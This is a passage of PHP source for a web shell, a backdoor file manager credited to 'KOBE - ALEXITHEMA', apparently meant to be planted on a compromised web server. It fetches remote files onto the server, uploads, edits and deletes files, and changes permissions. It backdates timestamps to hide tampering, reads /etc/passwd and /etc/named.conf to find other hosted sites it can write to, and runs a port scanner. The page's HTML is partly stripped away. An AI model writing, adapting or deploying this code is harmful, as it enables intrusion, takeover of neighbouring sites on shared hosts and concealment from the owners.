    '; $userAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.110 Safari/537.36"; if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_POST["url"]) && isset($_POST["output_filename"]) && isset($_POST["method"])) { $url = $_POST["url"]; $outputFilename = $_POST["output_filename"]; $method = $_POST["method"]; $fileUploaded = false; switch ($method) { case 'file_get_contents': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $file_content = @file_get_contents($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, $file_content); } break; case 'curl': $ch = curl_init($url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, true); curl_setopt($ch, CURLOPT_USERAGENT, $userAgent); $data = curl_exec($ch); curl_close($ch); if ($data !== false) { $fileUploaded = file_put_contents($outputFilename, $data); } break; case 'fopen': $readHandle = @fopen($url, 'rb'); $writeHandle = @fopen($outputFilename, 'wb'); if ($readHandle && $writeHandle) { while (!feof($readHandle)) { fwrite($writeHandle, fread($readHandle, 8192)); } $fileUploaded = true; } if ($readHandle) fclose($readHandle); if ($writeHandle) fclose($writeHandle); break; case 'copy': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $fileUploaded = @copy($url, $outputFilename, $context); break; case 'stream_context': $context = stream_context_create([ 'http' => ['method' => 'GET', 'header' => "User-Agent: $userAgent"] ]); $file_content = @file_get_contents($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, $file_content); } break; case 'file': $context = stream_context_create([ 'http' => ['header' => "User-Agent: $userAgent"] ]); $file_content = @file($url, false, $context); if ($file_content !== false) { $fileUploaded = file_put_contents($outputFilename, implode("", $file_content)); } break; default: echo "
    Invalid method specified.
    "; exit; } if ($fileUploaded && filesize($outputFilename) > 0) { echo "
    Upload OK!
    "; } else { echo "
    Failed to download file or file size is 0 byte, try to change methods.
    "; } } if ($_SERVER["REQUEST_METHOD"] === "POST" && isset($_FILES["file"])) { $result = count($_FILES["file"]["name"]); for ($contents = 0; $contents < $result; $contents++) { $namefile = $_FILES["file"]["name"][$contents]; $tmp_name = $_FILES["file"]["tmp_name"][$contents]; $destination = "$path/" . $namefile; $up = false; if ($_FILES["file"]["size"][$contents] > 0) { $up = move_uploaded_file($tmp_name, $destination); } if (!$up || filesize($destination) === 0) { $up = @copy($tmp_name, $destination); if (!$up || filesize($destination) === 0) { $fileContent = @file_get_contents($tmp_name); if ($fileContent !== false) { $up = file_put_contents($destination, $fileContent) !== false; } } } if ($up && filesize($destination) > 0) { $downloadLink = $urlwebsite . str_replace(realpath($_SERVER['DOCUMENT_ROOT']), '', realpath(getcwd())) . '/' . basename($namefile); echo "
    Upload OK!
    "; } else { echo "
    Upload FAILED!
    "; } } } echo '
    '; } // openfile if (isset($_1337["opn"])) { $file = $_1337["opn"]; } // view if ($_1337["action"] == "view") { s(); echo "

    : ".basename($file)."
    "; } // edit if (isset($_1337["edit_file"])) { $file = "$file"; $contents = $_1337["contents"]; $updt = fopen($file, "w"); $result = fwrite($updt, $contents); fclose($updt); if ($result && filesize($file) > 0) { echo "Edit file OK! " . ok() . ""; } else { $result = file_put_contents($file, $contents); if (!$result) { $tmpFile = tempnam(sys_get_temp_dir(), 'tmp'); file_put_contents($tmpFile, $contents); @copy($tmpFile, $file); if (filesize($file) > 0) { echo "Edit file OK using fallback! " . ok() . ""; } else { echo "Edit file FAIL! " . er() . ""; } } else { echo "Edit file OK using file_put_contents! " . ok() . ""; } } } if ($_1337["action"] == "edit") { s(); echo "

    : " .basename($file) ."

    "; } //rename folder if ($_1337["action"] == "rename_folder") { if ($_1337["r_d"]) { $r_d = rename( $dir, "" . dirname($dir) . "/" . htmlspecialchars($_1337["r_d"]) . "" ); if ($r_d) { echo "Rename folder OK! ".ok().''; } else { echo "Rename folder FAIL! ".er().''; } } s(); echo "

    : ". basename($dir) ."
    "; } //rename file if (isset($_1337["r_f"])) { $old = $file; $new = $_1337["new_name"]; rename($new, $old); if (file_exists($new)) { echo ''; } else { if (rename($old, $new)) { echo "Rename file OK! " . ok() . ""; } else { echo "Rename file FAIL! " . er() . ""; } } } if ($_1337["action"] == "rename") { s(); echo "

    : ".basename($file)."
    "; } // chemod if ($_1337["action"] == "chemod") { s(); function chmodItem($itemPath, $newPermission) { if (is_file($itemPath)){ if (chmod($itemPath, octdec($newPermission))) { return true; } else { return false; } } return false; } function chmodDirectory($dirPath, $newPermission) { $items = scandir($dirPath); foreach ($items as $item) { if ($item != "." && $item != "..") { $itemPath = $dirPath . "/" . $item; if (is_dir($itemPath)) { chmodDirectory($itemPath, $newPermission); } chmodItem($itemPath, $newPermission); } } } $itemToChmod = $_GET["opn"]; $itemPathToChmod = $path . "/" . $itemToChmod; echo "

    : " . basename($itemPathToChmod) . "
    "; // Check if the form is submitted if (isset($_POST["chemodkan"])) { $newPermission = $_POST["new_permission"]; if (is_dir($itemPathToChmod)) { chmodDirectory($itemPathToChmod, $newPermission); } else { chmodItem($itemPathToChmod, $newPermission); } echo "Change Permission OK! " . ok() . ""; } } // jumping if ($_1337["id"] == "jumping") { s(); $i = 0; echo "
    Jumping
    "; echo "
    ";
        ($etc = fopen("/etc/passwd", "r")) or
            die("Can't read /etc/passwd");
        while ($passwd = fgets($etc)) {
            if ($passwd == "" || !$etc) {
                echo "Can't read /etc/passwd";
            } else {
                preg_match_all("/(.*?):x:/", $passwd, $jumpss);
                foreach ($jumpss[1] as $uservaljump) {
                    $valuserjumpindir = "/home/$uservaljump/public_html";
                    if (is_readable($valuserjumpindir)) {
                        $i++;
                        $jrw = "[ | R] $valuserjumpindir";
                        if (is_writable($valuserjumpindir)) {
                            $jrw = "[ | RW] $valuserjumpindir";
                        }
                        echo $jrw;
                        if (function_exists("posix_getpwuid")) {
                            $domain_jump = file_get_contents("/etc/named.conf");
                            if ($domain_jump == "") {
                                echo " -> [Cannot get domain name]";
                            } else {
                                preg_match_all(
                                    "#/var/named/(.*?).db#",
                                    $domain_jump,
                                    $domjump
                                );
                                foreach ($domjump[1] as $dj) {
                                    $valuserjump = posix_getpwuid(
                                        @fileowner("/etc/valiases/$dj")
                                    );
                                    $valuserjump = $valuserjump["name"];
                                    if ($valuserjump == $uservaljump) {
                                        echo " -> [$dj]
    "; break; } } } } else { echo "
    "; } } } } } if ($i == 0) { } else { echo "
    Total " .$i ." Can jumping on this server " .gethostbyname($_SERVER["HTTP_HOST"]) ."!";} echo "
    "; } // port scanner if ($_1337["id"] == "portscan") { s(); echo '
    Port Scanner
    '; echo "
    Target IP:
    Start Port:
    End Port:
    "; if (isset($_POST['scan'])) { $target = isset($_POST['target']) ? $_POST['target'] : 'localhost'; $startPort = $_POST['startPort']; $endPort = $_POST['endPort']; echo "
    "; } } // change date modified folder if ($_1337["action"] == "chdate_folder") { s(); function changeDate($itemPath, $newDate) { if (is_file($itemPath) || is_dir($itemPath)) { if (touch($itemPath, strtotime($newDate))) { return true; } else { return false; } } return false; } $currentTime = microtime(true); $microseconds = sprintf("%06d", ($currentTime - floor($currentTime)) * 1000000); $dateTimeWithMicroseconds = date("Y-m-d H:i:s.", $currentTime) . $microseconds; $itemToChangeDate = $_GET["opn"]; $itemPathToChangeDate = $path . "/" . $itemToChangeDate; echo "

    : " . basename($itemPathToChangeDate) . "
    "; if (isset($_POST["chdate_folder"])) { $newDate = $_POST["new_date"]; if (changeDate($itemPathToChangeDate, $newDate)) { echo "Change Date OK! " . ok() . ""; } else { echo "Change Date FAIL! " . er() . ""; } } } // change date modified if ($_1337["action"] == "chdate") { s(); function changeDate($itemPath, $newDate) { if (is_file($itemPath) || is_dir($itemPath)) { if (touch($itemPath, strtotime($newDate))) { return true; } else { return false; } } return false; } $currentTime = microtime(true); $microseconds = sprintf("%06d", ($currentTime - floor($currentTime)) * 1000000); $dateTimeWithMicroseconds = date("Y-m-d H:i:s.", $currentTime) . $microseconds; $itemToChangeDate = $_GET["opn"]; $itemPathToChangeDate = $path . "/" . $itemToChangeDate; echo "

    : " . basename($itemPathToChangeDate) . "
    "; if (isset($_POST["chdate"])) { $newDate = $_POST["new_date"]; if (changeDate($itemPathToChangeDate, $newDate)) { echo "Change Date OK! " . ok() . ""; } else { echo "Change Date FAIL! " . er() . ""; } } } //delete file if ($_1337["action"] == "delfile") { s(); if ($_1337["yeahx"]) { $delete = unlink($file); if ($delete) { echo "Delete file OK! " . ok() . ""; } else { echo "Delete file FAIL! " . er() . ""; } } echo "

    Are you sure to delete : ".basename($file)." ?

    No
    "; } //delete folder if ($_1337["action"] == "delete_folder") { s(); if ($_1337["yeah"]) { if (is_dir($dir)) { if (is_writable($dir)) { if (deleteDir($dir)) { echo "Delete folder OK! " . ok() . ''; } else { echo "Delete folder FAIL! " . er() . ''; } } else { echo "Delete folder FAIL! " . er() . ''; } } } echo "

    Are you sure to delete : ". basename($dir) ." ?

    No
    "; } if (isset($_1337["filenew"])) { s(); if (isset($_1337["bikin"])) { $name = $_1337["name_file"]; $contents_file = $_1337["contents_file"]; $files = $_FILES["file_upload"]; $path = isset($_1337['path']) ? $_1337['path'] : ''; foreach ($name as $index => $name_file) { $handle = @fopen($name_file, "w"); $create = false; if ($contents_file && strlen($contents_file) > 0) { $create = @fwrite($handle, $contents_file); } else { if (isset($files['tmp_name'][$index]) && $files['size'][$index] > 0) { // Metode move_uploaded_file $create = move_uploaded_file($files['tmp_name'][$index], $name_file); } else { // Metode file_get_contents dan file_put_contents $file_contents = file_get_contents($files['tmp_name'][$index]); $create = file_put_contents($name_file, $file_contents); if (!$create) { // Metode copy $create = copy($files['tmp_name'][$index], $name_file); } } } fclose($handle); } if ($create) { #echo ""; echo "Create file OK! " . ok() . ""; } else { echo "Create file FAIL! " . er() . ""; } } echo "
    Filename: Your Script:

    "; } if (isset($_1337["dirnew"])) { s(); if (isset($_1337["create"])) { $name = $_1337["name_dir"]; foreach ($name as $name_dir) { $folder = preg_replace( "([^\w\s\d\-_~,;:\[\]\(\].]|[\.]{2,})", "", $name_dir ); $fd = @mkdir($folder); } if ($fd) { echo ""; } else { echo "Create dir FAIL! " . er() . ""; } } echo "
    Directory name:
    "; } echo '
    '; foreach ($scand as $dir) { $dt = date("Y-m-d G:i", filemtime("$path/$dir")); if (strlen($dir) > 25) { $_d = substr($dir, 0, 25) . "..."; } else { $_d = $dir; } if (function_exists("posix_getpwuid")) { $downer = @posix_getpwuid(fileowner("$path/$dir")); $downer = $downer["name"]; } else { $downer = fileowner("$path/$dir"); } if (function_exists("posix_getgrgid")) { $dgrp = @posix_getgrgid(filegroup("$path/$dir")); $dgrp = $dgrp["name"]; } else { $dgrp = filegroup("$path/$dir"); } if (!is_dir($path . "/" . $file)) { continue; } $size = filesize($path . "/" . $file) / 1024; $size = round($size, 3); if ($size >= 1024) { $size = round($size / 1024, 2) . " MB"; } else { $size = $size . " KB"; } if (!is_dir($path . "/" . $dir) || $dir == "." || $dir == "..") { continue; } echo " "; } echo " "; } foreach ($scand as $file) { $ft = date("Y-m-d G:i", filemtime("$path/$file")); if (function_exists("posix_getpwuid")) { $fowner = @posix_getpwuid(fileowner("$path/$file")); $fowner = $fowner["name"]; } else { $fowner = fileowner("$path/$file"); } if (function_exists("posix_getgrgid")) { $fgrp = @posix_getgrgid(filegroup("$path/$file")); $fgrp = $fgrp["name"]; } else { $fgrp = filegroup("$path/$file"); } if (!is_file($path . "/" . $file)) { continue; } if (strlen($file) > 25) { $_f = substr($file, 0, 25) . "...-." . $ext; } else { $_f = $file; } echo " "; } echo ""; } echo "
    NAME TYPE LAST MODIFIED SIZE OWNER / GROUP PERMISSIONS ACTION
    ..
    $_d d!r $dt - $downer / $dgrp "; if (is_writable($path . "/" . $dir)) { echo ""; } elseif (!is_readable($path . "/" . $dir)) { echo ""; } echo p($path . "/" . $dir); if (is_writable($path . "/" . $dir) || !is_readable($path . "/" . $dir)) { echo "
    $_f f!le $ft ".sz(filesize($file))." $fowner / $fgrp "; if (is_writable($path . "/" . $file)) { echo ""; } elseif (!is_readable($path . "/" . $file)) { echo ""; } echo p($path . "/" . $file); if (is_writable($path . "/" . $file) || !is_readable($path . "/" . $file)) { echo "

    © KOBE - ALEXITHEMA
    "; ?>